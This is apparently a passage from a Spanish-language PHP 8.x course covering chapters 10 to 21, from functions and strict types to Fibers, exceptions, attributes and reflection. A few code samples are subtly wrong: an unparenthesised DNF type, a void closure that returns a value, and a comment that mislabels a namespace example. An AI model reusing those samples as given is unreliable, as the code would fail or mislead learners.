$partes = [40.0, 60.0];
echo total(10, 20, ...$partes), PHP_EOL; // mezcla directa + spreadArrow functions frente a closures
<?php
declare(strict_types=1);
$factor = 3;
// fn() captura AUTOMATICAMENTE la variable exterior (por valor):
$duplicar = fn(int $n): int => $n * $factor;
// closure clasica: captura EXPLICITO con use(), permite por referencia:
$contador = 0;
$incrementar = function () use (&$contador): void {
$contador++;
};
$incrementar();
$incrementar();
echo $duplicar(5), ' / ', $contador, PHP_EOL;fn(): una sola expresión, captura automática por valor.function () use (): varias sentencias; con&captura por referencia cuando el estado debe mutar.
Callables de primera clase (8.1)
<?php
declare(strict_types=1);
$limpiar = trim(...); // referencia a funcion SIN ejecutarla
$mayuscula = strtoupper(...);
echo $limpiar(' hola '), ' ', $mayuscula('mundo'), PHP_EOL;
// Es la base del nuevo operador pipe de PHP 8.5 (capitulo 23):
$paso = ' Texto ' |> $limpiar |> $mayuscula;
echo $paso, PHP_EOL;Recursión y funciones anónimas inmediatas
<?php
declare(strict_types=1);
function factorial(int $n): int
{
return $n <= 1 ? 1 : $n * factorial($n - 1);
}
echo factorial(5), PHP_EOL;
// IIFE: configuracion calculada sin ensuciar el ambito global
$config = (function (): array {
$entorno = getenv('APP_ENV') ?: 'dev';
return ['debug' => $entorno !== 'prod', 'entorno' => $entorno];
})();
print_r($config);&$var):
úsalas solo si hay razón de peso (rendimiento medido, API heredada). El estilo
moderno devuelve un nuevo valor y deja las entradas intactas: más fácil de probar
y de razonar.Puntos clave
- Firma completa: tipos de entrada y retorno siempre.
- Argumentos nombrados: llamadas claras sin saltar orden.
fn()para callbacks cortos;use(&$x)para estado mutable.- Sintaxis
f(...)convierte funciones en valores: prepara el pipe. - Opcionales siempre al final; evita
&$param.
11 · Sistema de tipos: strict, union e intersección
Intermedio ~15 minPHP es dinámico pero no tiene por qué ser relajado. Con
declare(strict_types=1) y los tipos compuestos de las
versiones 8.x el lenguaje valida firmas completas y convierte en
TypeError lo que antes era corrupción silenciosa.
Qué cambia exactamente con strict_types
<?php
declare(strict_types=1);
function duplicar(int $n): int { return $n * 2; }
echo duplicar(5), PHP_EOL; // 10: tipo exacto
try {
duplicar('5'); // sin strict convertiría en silencio
} catch (TypeError $e) {
echo 'Bloqueado: ', get_debug_type($e), PHP_EOL;
}| Llamada | Sin strict (coerción) | Con strict_types=1 |
|---|---|---|
duplicar('5') | 10 — convierte en silencio | TypeError |
duplicar(5.0) | 10 — pierde la parte decimal | TypeError |
duplicar(5) | 10 | 10 |
int → float esperado | Aceptado siempre | Aceptado (sin pérdida) |
Tipos union: A | B
<?php
declare(strict_types=1);
function buscarUsuario(int|string $clave): array|null // ?array equivale
{
if ($clave === 0) {
return null;
}
return ['id' => $clave, 'nombre' => 'Percy'];
}
$u = buscarUsuario('percy');
echo get_debug_type($u), PHP_EOL; // depuracion moderna (7.2+)
var_dump($u['nombre'] ?? 'anonimo');?Tipoes azúcar paraTipo|null.get_debug_type()reemplaza trucos congettype(): devuelve clases reales.
Tipos intersección: A & B
<?php
declare(strict_types=1);
// El argumento DEBE implementar AMBAS interfaces:
function volcar(Countable&IteratorAggregate $fuente): int
{
return count($fuente);
}
// Si pasas algo que solo implementa una de ellas: TypeError inmediato.DNF y tipos independientes true / false / null (8.2)
<?php
declare(strict_types=1);
// Disyuncion Normal: (A&B) | C | null — combinacion fina sin clases nuevas
function procesar(Countable&Stringable|string|null $entrada): string
{
return match (true) {
$entrada === null => 'nada que procesar',
is_string($entrada) => mb_strtoupper($entrada),
default => (string) $entrada,
};
}
// Tipos puros para contratos exactos:
interface Validador
{
public function validar(mixed $valor): bool;
}
function fallaSiempre(): false { return false; }Retornos especiales: void, never y static
| Tipo de retorno | Promesa | Ejemplo típico |
|---|---|---|
void | No devuelve nada útil | Guardar log, enviar correo |
null | Devuelve explícitamente null | Búsquedas sin resultado |
never (8.1) | NUNCA retorna: lanza o termina | abortar(), redirecciones |
static | Instancia de la clase llamada | Encadenamiento fluido (cap. 13) |
<?php
declare(strict_types=1);
function abortar(int $codigo): never
{
http_response_code($codigo);
exit("Error $codigo");
}
// PHP y las herramientas estaticas SABEN que nada corre despues de abortar():Puntos clave
strict_types=1en cada archivo: coerción fuera, TypeError dentro.- Union
A|Bpara alternativas; intersecciónA&Bpara capacidades. - DNF combina ambas con precisión quirúrgica (8.2).
neverdocumenta terminación;statichabilita flujos fluidos.- Datos externos SIEMPRE se validan en el borde, más allá del tipado.
12 · Espacios de nombres y autocarga
Básico ~12 minDos problemas desaparecen con namespaces y autocarga: los nombres que chocan
(Conexion tuyo frente a Conexion
de una librería) y las interminables cabeceras de
require.
Declarar y usar namespaces
<?php
// src/Servicios/Facturador.php
declare(strict_types=1);
namespace App\Servicios;
class Facturador
{
public function emitir(string $cliente): string
{
return "Comprobante para $cliente";
}
}<?php
// public/index.php
declare(strict_types=1);
use App\Servicios\Facturador;
use App\Servicios\Impuestos as Fiscal; // alias para desempatar
$fac = new Facturador();
echo $fac->emitir('Minimarket El Sol'), PHP_EOL;namespaceva primero (solo antes puede haberdeclare(strict_types=1)) y una sola vez por archivo.- La regla práctica: una clase = un archivo, ruta que refleja el
namespace (
src/Servicios/Facturador.php). ::classentrega el nombre completo como texto:Facturador::class→App\Servicios\Facturador.
Teoría: anatomía de un nombre con barra invertida
El separador es SIEMPRE la barra invertida \ (tecla junto al
Enter en teclado español), nunca la diagonal /. Y ojo:
un namespace NO es una ruta de disco. Es un nombre lógico; que tus carpetas lo
replicen (src/Servicios/Facturador.php) es solo la
convención PSR-4 que luego aprovecha el autoloader.
<?php
declare(strict_types=1);
namespace App\Servicios;
// Tres formas correctas y una trampa, referidas a la MISMA clase:
$a = Facturador::class; // relativa simple
$b = Sub\Facturador::class; // relativa compuesta
$c = \App\Servicios\Facturador::class; // ABSOLUTA (barra inicial)
$d = Servicios\Facturador::class; // ¿relativa? ¡mira la salida!
echo __NAMESPACE__, PHP_EOL; // App\Servicios
foreach ([$a, $b, $c, $d] as $nombre) {
echo $nombre, PHP_EOL;
}La última línea delata la regla de oro: sin barra inicial, PHP antepone
el namespace actual ($d terminó apilando dos
veces «Servicios»). Así se resuelve cualquier nombre:
| Cómo se escribe | Tipo | Se resuelve a (dentro de App\Servicios) |
|---|---|---|
Facturador | relativa simple | App\Servicios\Facturador |
Modelos\Pedido | relativa compuesta | App\Servicios\Modelos\Pedido |
\App\Servicios\Facturador | absoluta | tal cual, desde la raíz |
\Exception, \PDO | absoluta | núcleo de PHP (raíz global) |
namespace App;, escribir
catch (Exception $e) busca
App\Exception, no la del núcleo. Usa barra inicial
(\Exception) o importa con
use Exception;. Con las clases importadas por
use no hay ambigüedad: el alias siempre gana.- PHP tolera mayúsculas/minúsculas distintas, pero trátalas como sensibles: los autoloaders y sistemas de archivos NO perdonan.
- Las clases sin
namespaceviven en la raíz global (por eso el núcleo es\DateTime,\Throwable...). - Profundidad libre:
App\Servicios\Facturacion\Internas\Impuestos. useafecta SOLO nombres de clases/interfaces/ funciones/constantes, nunca variables ni métodos.
Importaciones grupales y de funciones
<?php
// Grupo (7.0+): importa varias del mismo prefijo
use App\{Modelos\Pedido, Modelos\Cliente, Servicios\Facturador};
// Funciones y constantes tambien tienen namespaces:
use function App\Ayudas\nombre_largo;
use const App\Ayudas\VERSION_API;Autocarga: adiós a los require en cadena
<?php
declare(strict_types=1);
spl_autoload_register(function (string $clase): void {
// App\Servicios\Facturador -> src/Servicios/Facturador.php
$ruta = __DIR__ . '/src/' . str_replace('\\', '/', $clase) . '.php';
if (is_file($ruta)) {
require $ruta;
}
});
new App\Modelos\Pedido(); // PHP llama al autoloader SOLO si hace faltaPuntos clave
- Un namespace por archivo; la carpeta replica el namespace.
usecrea apodos cortos;asresuelve colisiones.::classpara referenciar clases sin instanciarlas.spl_autoload_register()carga clases bajo demanda.- PSR-4 + Composer automatizan todo esto (cap. 37).
13 · Clases y objetos: promoción de propiedades
Básico ~14 minDesde PHP 8.0 una clase con estado se escribe en una fracción de líneas gracias a la promoción de propiedades en el constructor. Este capítulo construye el vocabulario POO que la Parte III completa.
La clase mínima moderna
<?php
declare(strict_types=1);
class Pedido
{
public function __construct(
public readonly int $id,
public string $cliente,
private float $total = 0.0, // privado + valor por defecto
) {
}
public function total(): float // getter explicito para lo privado
{
return $this->total;
}
}
$p = new Pedido(1, 'Minimarket El Sol', 149.90);
echo $p->cliente, ' debe ', $p->total(), PHP_EOL;Una línea promovida equivale a: declarar la propiedad, asignarla en el constructor y tipar todo a la vez. Menos código y cero desincronización.
Visibilidad: quién ve qué
| Modificador | Clase propia | Heredadas | Mundo exterior |
|---|---|---|---|
public | Sí | Sí | Sí |
protected | Sí | Sí | No |
private | Sí | No | No |
Regla del curso: propiedades privadas o readonly públicas; lo público sin control es la puerta de entrada a estados imposibles.
Miembros estáticos y constantes tipadas
<?php
declare(strict_types=1);
class Config
{
public const int LIMITE_PEDIDOS = 50; // constante tipada (8.3)
private static int $conexiones = 0;
public static function abrir(): void
{
self::$conexiones++;
}
public static function conexiones(): int
{
return self::$conexiones;
}
}
Config::abrir();
Config::abrir();
echo Config::LIMITE_PEDIDOS, ' / ', Config::conexiones(), PHP_EOL;self::resuelve contra la clase donde se escribe;static::respeta a la clase hija (late static binding).- Las constantes aceptan tipo desde 8.3: errores tempranos también aquí.
Identidad frente a igualdad
<?php
$a = new Pedido(1, 'Ana');
$b = new Pedido(1, 'Ana');
$c = $a;
var_dump($a == $b); // true : mismos valores comparables
var_dump($a === $b); // false : instancias distintas
var_dump($a === $c); // true : misma instancia
var_dump($a instanceof Pedido);$copia = clone $a;; en PHP 8.5
además puedes modificar propiedades durante la clonación con
clone($a, [...]) — lo verás en el capítulo 23.Puntos clave
- Promoción en constructor = declaración + asignación + tipos en una línea.
- Estado interno privado o readonly público; nada público sin control.
self::fijo,static::tardío; constantes tipadas desde 8.3.===compara identidad de instancia, no valores.clonecopia superficielmente: cuidado con propiedades objeto.
14 · Herencia, interfaces y clases abstractas
Intermedio ~15 minTres herramientas para compartir comportamiento con reglas distintas: herencia (es-un), interfaces (sabe-hacer) y clases abstractas (plantilla incompleta). El polimorfismo es el premio por combinarlas bien.
Herencia: extends y parent::
<?php
declare(strict_types=1);
class Documento
{
public function __construct(
protected string $emisor,
protected float $monto,
) {
}
public function resumen(): string
{
return sprintf('%s emitio S/ %.2f', $this->emisor, $this->monto);
}
}
class Boleta extends Documento
{
public function resumen(): string // sobrescritura
{
return 'BOLETA - ' . parent::resumen(); // reutiliza al padre
}
}
echo (new Boleta('El Sol', 88.50))->resumen(), PHP_EOL;Interfaces: contratos sin implementación
<?php
declare(strict_types=1);
interface Exportable
{
public const FORMATO_DEFECTO = 'pdf'; // solo constantes y firmas
public function exportar(): string;
}
interface Imprimible
{
public function imprimir(): void;
}
// Una clase puede cumplir varios contratos:
class Factura implements Exportable, Imprimible
{
public function exportar(): string
{
return 'factura.' . self::FORMATO_DEFECTO;
}
public function imprimir(): void
{
echo 'Enviando a la impresora...', PHP_EOL;
}
}
function despachar(Exportable $doc): void // polimorfismo por tipo
{
echo 'Guardando ', $doc->exportar(), PHP_EOL;
}
despachar(new Factura());Clases abstractas: mitad contrato, mitad código
<?php
declare(strict_types=1);
abstract class Reporte
{
public function __construct(protected string $titulo)
{
}
abstract public function cuerpo(): string; // obligatorio en hijas
public function render(): string // compartido ya hecho
{
return "=== {$this->titulo} ===\n{$this->cuerpo()}";
}
}
final class ReporteVentas extends Reporte // final: no se puede heredar mas
{
public function cuerpo(): string
{
return 'Ventas del dia: S/ 1 240.00';
}
}
echo (new ReporteVentas('Cierre'))->render(), PHP_EOL;#[\Override]: el guardián de las sobrescrituras (8.3)
<?php
declare(strict_types=1);
class FacturaConIgv extends Factura
{
#[\Override] // error fatal si arriba NO existia este metodo
public function exportar(): string
{
return 'factura_igv.pdf';
}
}Si renombras un método del padre, todas las hijas marcadas fallan al instante en lugar de convertirse silenciosamente en métodos nuevos.
| Herramienta | Da código listo | Múltiples por clase | Instanciable |
|---|---|---|---|
Herencia (extends) | Sí | No (un solo padre) | Padre sí, si no es abstracta |
| Interface | No (solo firmas) | Sí | No |
| Clase abstracta | Parcial | No | No |
| Trait (cap. 15) | Sí | Sí | No |
Puntos clave
- Interfaz = «sabe hacer»; abstracta = «cómo se hace a medias».
- Acepta interfaces en firmas: desacopla tu código de implementaciones.
parent::extiende sin duplicar;finalcierra la jerarquía.#[\Override]convierte renombres accidentales en errores visibles.- Prefiere composición + interfaces cuando la jerarquía empieza a ramificarse.
15 · Traits y enums
Intermedio ~15 minTraits reutilizan código en horizontal entre clases sin parentesco; enums (8.1) convierten conjuntos finitos de valores —estados, tipos, categorías— en objetos con lógica propia. Juntos eliminan dos clases enteras de bugs.
Traits: herencia horizontal
<?php
declare(strict_types=1);
trait Registrable
{
private array $bitacora = [];
protected function registrar(string $evento): void
{
$this->bitacora[] = date('H:i:s ') . $evento;
}
public function bitacora(): array
{
return $this->bitacora;
}
}
class Pago
{
use Registrable;
public function procesar(float $monto): void
{
$this->registrar("Pago de $monto procesado");
}
}
$pago = new Pago();
$pago->procesar(59.90);
print_r($pago->bitacora());Cuando dos traits aportan el mismo método, la colisión se resuelve a mano:
<?php
class Caja
{
use TraitA, TraitB {
TraitA::saludar insteadof TraitB; // gana TraitA
TraitB::saludar as saludoAlterno; // el de B sobrevive con otro nombre
}
}Enums: estados que no se corrompen
<?php
declare(strict_types=1);
enum EstadoPedido: string // backed enum: cada caso respalda un string
{
case PENDIENTE = 'P';
case EN_PREPARACION = 'R';
case EN_CAMINO = 'C';
case ENTREGADO = 'E';
case CANCELADO = 'X';
public function esFinal(): bool
{
return in_array($this, [self::ENTREGADO, self::CANCELADO], true);
}
}
$estado = EstadoPedido::EN_CAMINO;
echo $estado->value, ' final=', $estado->esFinal() ? 'si' : 'no', PHP_EOL;
// Desde datos externos (base de datos): tryFrom devuelve null, from lanza:
$deBD = EstadoPedido::tryFrom('P');
var_dump($deBD === EstadoPedido::PENDIENTE);
// Recorrido completo:
foreach (EstadoPedido::cases() as $caso) {
echo $caso->name, ' ', PHP_EOL;
}enum Estadopuro (sin respaldo) oenum X : string|intrespaldado para persistir.- Pueden tener métodos, implementar interfaces y hasta constantes.
from()lanza si el valor no existe;tryFrom()devuelve null: ideal para entrada externa.
match + enum: transiciones a prueba de olvidos
<?php
declare(strict_types=1);
function siguiente(EstadoPedido $actual): ?EstadoPedido
{
return match ($actual) {
EstadoPedido::PENDIENTE => EstadoPedido::EN_PREPARACION,
EstadoPedido::EN_PREPARACION => EstadoPedido::EN_CAMINO,
EstadoPedido::EN_CAMINO => EstadoPedido::ENTREGADO,
default => null, // los finales ya no avanzan
};
}
echo siguiente(EstadoPedido::PENDIENTE)?->name, PHP_EOL;const ESTADO_P = 'P')
por enums elimina la familia entera de errores «estado inválido»: el tipo mismo
impide construir valores fuera del catálogo.Puntos clave
- Trait comparte comportamiento entre jerarquías distintas; colisiones con
insteadof/as. - Enums tipados desde 8.1: casos cerrados + métodos +
value. tryFrom()para entrada externa,from()para datos confiables.matchsobre enums hace las máquinas de estado legibles y exhaustivas.
16 · readonly, visibilidad asimétrica y hooks (8.4)
Intermedio ~13 minPHP 8.1 a 8.4 construyó una escalera de control fino sobre las propiedades: primero escribir una sola vez, luego lectura y escritura con alcances distintos, y finalmente comportamiento en el acceso sin escribir getters.
readonly: inicializar una vez (8.1)
<?php
declare(strict_types=1);
class Comprobante
{
public function __construct(
public readonly string $serie,
public readonly int $numero,
) {
}
}
$c = new Comprobante('F001', 42);
echo $c->serie . '-' . $c->numero, PHP_EOL;
// $c->serie = 'F002'; // Error: no se puede modificar fuera del alcance interno- Solo puede asignarse desde dentro de la propia clase (constructor) y solo UNA vez.
readonly class(8.2) marca todas las propiedades de golpe.- No combina con propiedades estáticas ni por defecto mutables.
Visibilidad asimétrica (8.4)
<?php
declare(strict_types=1);
class Sesion
{
public function __construct(
public private(set) string $token, // leo de donde sea, escribo SOLO aqui
) {
}
public function rotar(): void
{
$this->token = bin2hex(random_bytes(8)); // permitido: mismo scope
}
}
$s = new Sesion(bin2hex(random_bytes(8)));
echo substr($s->token, 0, 6), '...', PHP_EOL;| Declaración | Lectura desde | Escritura desde |
|---|---|---|
public | cualquiera | cualquiera |
public private(set) | cualquiera | solo la clase |
public protected(set) | cualquiera | clase + heredadas |
private(set) solo | solo la clase | solo la clase |
Hooks de propiedad: comportamiento en el acceso (8.4)
Los hooks get y set viven junto a la propiedad: normalizan al asignar, derivan al leer y hasta eliminan el campo respaldado (virtual properties).
<?php
declare(strict_types=1);
class Producto
{
public string $nombre {
set (string $valor) {
$this->nombre = ucfirst(trim($valor)); // normaliza al entrar
}
}
// Propiedad VIRTUAL: no existe campo; se calcula al vuelo:
public string $etiqueta => strtoupper($this->nombre); // hook get abreviado
public function __construct(string $nombre)
{
$this->nombre = $nombre;
}
}
$p = new Producto(' cafe especial ');
echo $p->nombre, ' | ', $p->etiqueta, PHP_EOL;readonly; mutable pero protegido → visibilidad
asimétrica; lógica de acceso o campos calculados → hooks. Los hooks NO combinan
con readonly: son enfoques alternativos.Puntos clave
readonly: una escritura, desde dentro, para siempre.public private(set)separa lectura pública de escritura interna.- Hooks get/set reemplazan getters/setters triviales.
- Propiedades virtuales (
=>) sin campo respaldado. - Elegir UNA estrategia por propiedad: readonly XOR hooks.
17 · Métodos mágicos y clases anónimas
Intermedio ~12 minLos métodos mágicos interceptan eventos del ciclo de vida de un objeto: cómo se imprime, qué pasa al acceder a propiedades inexistentes, cómo se clona o serializa. Las clases anónimas completan la caja de herramientas para objetos de un solo uso.
Los cuatro de uso diario
<?php
declare(strict_types=1);
class Dinero
{
public function __construct(
private float $monto,
private string $moneda = 'PEN',
) {
}
public function __toString(): string // echo / concatenacion
{
return sprintf('%s %.2f', $this->moneda, $this->monto);
}
public function __invoke(float $descuento): self // objeto como funcion
{
return new self($this->monto * (1 - $descuento), $this->moneda);
}
public function monto(): float { return $this->monto; }
}
$precio = new Dinero(199.90);
echo $precio, PHP_EOL;
$conDescuento = $precio(0.10); // __invoke con 10% off
echo $conDescuento, PHP_EOL;Propiedades dinámicas controladas: __get/__set/__call
<?php
declare(strict_types=1);
class ConfiguracionFlexible implements ArrayAccess
{
private array $datos = [];
public function __get(string $nombre): mixed
{
return $this->datos[$nombre] ?? null;
}
public function __set(string $nombre, mixed $valor): void
{
$this->datos[$nombre] = $valor;
}
public function __call(string $metodo, array $args): mixed
{
// metodoInexistente() delegado a un handler central
return "[$metodo] no implementado, argumentos: " . count($args);
}
// ArrayAccess (interfaz real, no magia) para $cfg['clave']:
public function offsetGet(mixed $k): mixed { return $this->__get($k); }
public function offsetSet(mixed $k, mixed $v): void { $this->__set($k, $v); }
public function offsetExists(mixed $k): bool { return isset($this->datos[$k]); }
public function offsetUnset(mixed $k): void { unset($this->datos[$k]); }
}
$cfg = new ConfiguracionFlexible();
$cfg->tema = 'oscuro'; // dispara __set
echo $cfg->tema, ' / ', $cfg['tema'], PHP_EOL;
echo $cfg->algoQueNoExiste('x'), PHP_EOL;__get/__set
siguen siendo la herramienta cuando el conjunto de nombres es desconocido en
tiempo de diseño. Las propiedades dinámicas sueltas están prohibidas desde 8.2.Clonación y serialización
<?php
declare(strict_types=1);
class RegistroConFecha
{
public function __clone()
{
// ajustes al clonar: p. ej. regenerar identificadores
}
public function __serialize(): array // reemplaza a __sleep (DEPRECIADO en 8.5)
{
return ['guardado' => true];
}
public function __unserialize(array $data): void
{
}
}Clases anónimas: objetos de una sola pieza
<?php
declare(strict_types=1);
interface Notificador { public function enviar(string $msg): void; }
function difundir(Notificador $n): void { $n->enviar('Cierre diario listo'); }
difundir(new class implements Notificador { // new class sin nombre
public function enviar(string $msg): void
{
echo '[consola] ', $msg, PHP_EOL;
}
});Útiles para DTO desechables, dobles de prueba y adaptadores pequeños que no merecen archivo propio.
Puntos clave
__toStringe__invokehacen objetos legibles/llamables.__get/__set/__call: delegación cuando los nombres son dinámicos.__serialize/__unserializesustituyen a__sleep/__wakeup(deprecados en 8.5).new class {...}para colaboradores de un solo uso.
18 · Generadores e iteradores
Intermedio ~13 minUn generador produce valores bajo demanda: la función se pausa
en cada yield y retoma donde quedó. El resultado es
código tan simple como un array pero con memoria constante, ideal para archivos
enormes o consultas paginadas.
yield: el array perezoso
<?php
declare(strict_types=1);
function cuadrados(int $hasta): Generator
{
for ($i = 1; $i <= $hasta; $i++) {
yield $i => $i * $i; // clave => valor, como un foreach
}
}
foreach (cuadrados(4) as $n => $cuadrado) {
echo "$n al cuadrado = $cuadrado\n";
}El caso que justifica todo: leer archivos gigantes
<?php
declare(strict_types=1);
function lineas(string $ruta): Generator
{
$fh = fopen($ruta, 'rb');
try {
while (($linea = fgets($fh)) !== false) {
yield trim($linea); // UNA linea en memoria a la vez
}
} finally {
fclose($fh);
}
}
// Con un log de 10 GB esto NO consume 10 GB de RAM:
$errores = 0;
foreach (lineas('/var/log/app.log') as $linea) {
if (str_contains($linea, 'ERROR')) {
$errores++;
}
}
echo "Errores encontrados: $errores\n";| Criterio | array | Generator |
|---|---|---|
| Memoria | Todos los elementos de golpe | Uno por vez |
| Reutilizable | Sí (varios foreach) | No: una sola pasada |
count() | Inmediato | No disponible |
| Ideal para | Colecciones pequeñas/medias | Streams, ETL, paginación SQL con cursor |
Delegación y valor final
<?php
declare(strict_types=1);
function internos(): Generator
{
yield 'a';
yield 'b';
return 2; // valor de retorno del generador
}
function compuesto(): Generator
{
$total = yield from internos(); // delega y captura el return
yield "procesados: $total";
}
foreach (compuesto() as $pieza) {
echo $pieza, PHP_EOL;
}Objetos iterables propios
Cualquier clase puede entrar en un foreach implementando
IteratorAggregate; el truco profesional es devolver un
generador desde getIterator():
<?php
declare(strict_types=1);
class Carrito implements IteratorAggregate
{
/** @param string[] $items */
public function __construct(private array $items = [])
{
}
public function agregar(string $item): void
{
$this->items[] = $item;
}
public function getIterator(): Generator
{
yield from $this->items;
}
}
$carrito = new Carrito(['cafe', 'azucar']);
$carrito->agregar('leche');
foreach ($carrito as $item) {
echo "- $item\n";
}
var_dump(is_iterable($carrito));public function getIterator(): Generator. Si necesitas
reiterar varias veces, cachea los resultados en un array y expón ambos accesos.Puntos clave
yieldpausa la función: memoria constante sobre colecciones enormes.- Un generator solo recorre UNA vez; no admite
count(). yield fromdelega y captura elreturn.IteratorAggregate + Generator= objetos iterables baratos.
19 · Fibers: concurrencia ligera cooperativa
Avanzado ~12 minUna Fiber (8.1) es un bloque de código que puede pausarse
(suspend) y retomarse
(resume) sin bloquear el hilo. No es paralelismo: es la
pieza con la que los frameworks asíncronos construyen sus planificadores.
El ciclo suspend / resume
<?php
declare(strict_types=1);
$tarea = new Fiber(function (): void {
echo 'Tarea: inicio', PHP_EOL;
$datoRecibido = Fiber::suspend('pausada en el paso 1');
// El flujo VUELVE aqui cuando alguien llame a ->resume():
echo 'Tarea: reanudada con "', $datoRecibido, '"', PHP_EOL;
});
$mensajeDePausa = $tarea->start(); // ejecuta hasta el suspend()
echo 'Principal recibe: ', $mensajeDePausa, PHP_EOL;
$tarea->resume('datos del exterior'); // inyecta valor y continúa
var_dump($tarea->isTerminated());Planificador casero por turnos
<?php
declare(strict_types=1);
function trabajador(string $nombre, int $pasos): Fiber
{
return new Fiber(function () use ($nombre, $pasos): void {
for ($i = 1; $i <= $pasos; $i++) {
Fiber::suspend("$nombre paso $i");
}
return "$nombre termino";
});
}
$cola = [trabajador('A', 2), trabajador('B', 3)];
while ($cola) {
foreach ($cola as $indice => $fiber) {
$salida = $fiber->isStarted() ? $fiber->resume() : $fiber->start();
if ($salida !== null) {
echo $salida, PHP_EOL;
}
if ($fiber->isTerminated()) {
unset($cola[$indice]);
}
}
}Estados y errores
| Método de estado | Significado |
|---|---|
isRunning() | Ejecutando ahora mismo (no suspendida) |
isSuspended() | Pausada y lista para resume() |
isTerminated() | Finalizada o rota por excepción |
getReturnValue() | Valor final tras terminar bien |
resume(mixed)inyecta un valor dentro del suspend;throw(Throwable)inyecta una excepción.- Suspender desde el exterior o reanudar una fiber muerta lanza
FiberError. - Las excepciones internas viajan al punto de
start()/resume(): envuélvelas en try/catch.
Puntos clave
- Fiber = ejecución interrumpible cooperativa, NO hilos.
suspenddevuelve control con datos;resumelos reinyecta.- Excepciones cruzan la frontera hacia quien llamó start/resume.
- Su hogar real son frameworks async; CPU pesada va a CLI.
20 · Errores y excepciones
Básico ~13 minDesde PHP 7 todo lo que puede fallar en tiempo de ejecución es un
Throwable con dos grandes ramas:
Error (fallas del motor o del programador) y
Exception (situaciones del negocio que debes manejar).
El árbol Throwable en un vistazo
Throwable (interface, no instanciable)
├── Error ← motor / errores de programación
│ ├── TypeError argumento o retorno de tipo incorrecto
│ ├── ValueError tipo correcto, valor invalido (8.0+)
│ ├── DivisionByZeroError
│ ├── ArithmeticError
│ └── AssertionError de assert() en modo activo
└── Exception ← condiciones manejables de la app
├── RuntimeException solo falla EN EJECUCION (BD caida, archivo...)
│ └── OutOfBoundsException
├── LogicException bug logico detectable antes
│ ├── InvalidArgumentException
│ └── DomainException
└── PDOException capa base de datos- Error = no lo atrapes a diario: indica bug (tipo mal, división por cero). Corrígelo, no lo silencies.
- Exception = flujos esperables: cliente sin saldo, API externa caída. Ahí vive tu lógica de recuperación.
- Ambas comparten métodos:
getMessage(),getCode(),getFile(),getLine(),getTrace().
try / catch / finally completo
<?php
declare(strict_types=1);
function retirar(float $saldo, float $monto): float
{
if ($monto <= 0) {
throw new InvalidArgumentException('Monto debe ser positivo');
}
if ($monto > $saldo) {
throw new RuntimeException('Saldo insuficiente');
}
return $saldo - $monto;
}
try {
echo retirar(100.0, 250.0), PHP_EOL;
} catch (InvalidArgumentException | RuntimeException $e) { // multiple, sin variable extra si no la usas
echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
} finally {
echo 'Auditoria registrada (siempre corre)', PHP_EOL; // incluso con return o nueva excepcion
}- Catch múltiples con barra vertical; el más específico primero.
finallycorre SIEMPRE: ideal para cerrar conexiones, liberar locks, medir tiempos.- Lanzar dentro de catch encadena: usa el cuarto parámetro para conservar la causa.
Excepciones propias y encadenamiento
<?php
declare(strict_types=1);
namespace Tienda;
class StockAgotadoException extends \RuntimeException
{
public function __construct(
private readonly string $sku,
) {
parent::__construct("Sin stock para SKU $sku");
}
public function sku(): string { return $this->sku; }
}
function reservar(string $sku, int $unidades): void
{
// ... consulta al almacen ...
throw new StockAgotadoException('CAF-1KG');
}
try {
reservar('CAF-1KG', 2);
} catch (StockAgotadoException $e) {
// tipo especifico => manejo especifico, sin parsear mensajes:
echo 'Ofrecer similar por ', $e->sku(), PHP_EOL;
}
// Encadenar causas: el contexto original nunca se pierde
try {
try {
throw new \PDOException('Conexion rechazada');
} catch (\PDOException $origen) {
throw new RuntimeException('Servicio no disponible', 503, $origen);
}
} catch (RuntimeException $e) {
echo $e->getMessage(), ' <- causa: ', $e->getPrevious()?->getMessage(), PHP_EOL;
}Errores del motor: también Throwable
<?php
declare(strict_types=1);
try {
intdiv(10, 0); // antes: warning + resultado raro
} catch (DivisionByZeroError $e) {
echo 'Motor dice: ', $e->getMessage(), PHP_EOL;
}
try {
strlen(42); // strict_types: TypeError, no coerción
} catch (TypeError $e) {
echo substr($e->getMessage(), 0, 40), '...', PHP_EOL;
}set_exception_handler)
para lo imprevisto. Atrapar \Throwable en todas partes
convierte los bugs en niebla.Puntos clave
- Todo fallo runtime es
Throwable: Error (bugs) vs Exception (negocio). finallygarantiza limpieza pase lo que pase.- Excepciones propias = semántica + datos, no strings parseados.
- Encadena causas con el parámetro
$previous. - Errores del motor ya son capturables (TypeError, DivisionByZeroError...).
21 · Atributos y reflexión
Intermedio ~13 minLos atributos nativos (8.0) convierten los comentarios
/** @Route ... */ en metadatos reales,
tipados y autocompletables. La reflexión es el motor que los lee: juntos
son la base de routers, inyectores de dependencias y ORMs modernos.
Atributo propio: declaración y uso
<?php
declare(strict_types=1);
namespace App\Http;
use Attribute;
#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_CLASS)]
class Ruta
{
public function __construct(
public readonly string $metodo,
public readonly string $camino,
) {
}
}
class ControladorPedidos
{
#[Ruta('GET', '/pedidos')]
public function listar(): string { return 'lista de pedidos'; }
#[Ruta('POST', '/pedidos')]
public function crear(): string { return 'pedido creado'; }
}#[\Attribute(...)]con flags de destino: TARGET_CLASS, TARGET_METHOD, TARGET_PROPERTY, TARGET_PARAMETER, TARGET_ALL...- Los argumentos del atributo se validan como llamada normal: tipos estrictos y argumentos nombrados incluidos.
- Sin reflexión, los atributos no hacen NADA: son datos dormidos.
Reflexión: leer los metadatos
<?php
declare(strict_types=1);
// (continua el namespace App\Http del bloque anterior)
$ref = new \ReflectionClass(ControladorPedidos::class);
$rutas = [];
foreach ($ref->getMethods() as $metodo) {
$atributos = $metodo->getAttributes(Ruta::class);
foreach ($atributos as $attr) {
$ruta = $attr->newInstance(); // construye el objeto Ruta real
$rutas[$ruta->metodo . ' ' . $ruta->camino] = $metodo->getName();
}
}
print_r($rutas);Mini-router de 15 líneas
<?php
declare(strict_types=1);
function despachar(array $tabla, string $metodoHttp, string $camino): void
{
$clave = "$metodoHttp $camino";
if (!isset($tabla[$clave])) {
http_response_code(404);
echo '404 no encontrado', PHP_EOL;
return;
}
$controlador = new ControladorPedidos();
echo $controlador->{$tabla[$clave]}(), PHP_EOL;
}
despachar($rutas, 'GET', '/pedidos'); // tabla generada por reflexion arribaLa caja de herramientas Reflection
| Clase / método | Para qué sirve |
|---|---|
ReflectionClass | Constantes, propiedades, métodos, interfaces, atributos de clase |
ReflectionMethod | Firma, parámetros, visibilidad; invocar con invoke() |
